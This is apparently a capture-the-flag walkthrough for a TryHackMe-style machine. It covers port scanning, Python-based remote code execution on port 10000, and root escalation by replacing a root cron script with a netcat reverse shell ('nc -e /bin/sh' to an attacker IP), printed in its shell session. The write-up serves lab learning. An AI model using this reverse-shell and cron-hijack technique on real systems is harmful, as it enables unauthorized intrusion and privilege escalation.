As usual in the CTFs we ran nmap to see what ports are open

╰─ lanfran@parrot ❯ map 10.10.46.133                                                                                                                                                       ─╯

We found the port 10000 open, so we used netcat to see whats inside.

It’s a python file running!

Maybe we can use some python code to do RCE.

Exploit started, attacking target (tryhackme.com)...

Yes! It’s possible, let’s use it to get a reverse shell.

User

Good! We are the user King and we can get the credentials of this user from the credentials.png file, but it’s not necessary.

Root

To escalate to root, we digged into the machine, and found that root is running a cron job with the file root.sh inside /home/king

king@ubuntu:~$ ls -la root.sh
-rw-r--r-- 1 root root     32 Aug 25  2019 root.sh

So we modified that file to get a reverse shell. But first we need to rename the original file to root.sh.old, because we can not edit ìt. After doing that, we added the reverse shell code, and after a minute or so we get our reverse shell with root!

king@ubuntu:~$ echo "nc -e /bin/sh 10.9.6.21 1338" > root.sh
bash: root.sh: Permission denied
king@ubuntu:~$ mv root.sh root.sh.old
king@ubuntu:~$ echo "nc -e /bin/sh 10.9.6.21 1338" > root.sh
king@ubuntu:~$ cat root.sh
nc -e /bin/sh 10.9.6.21 1338

And we rooted the machine!

That’s all from my side, hope you find this helpful!
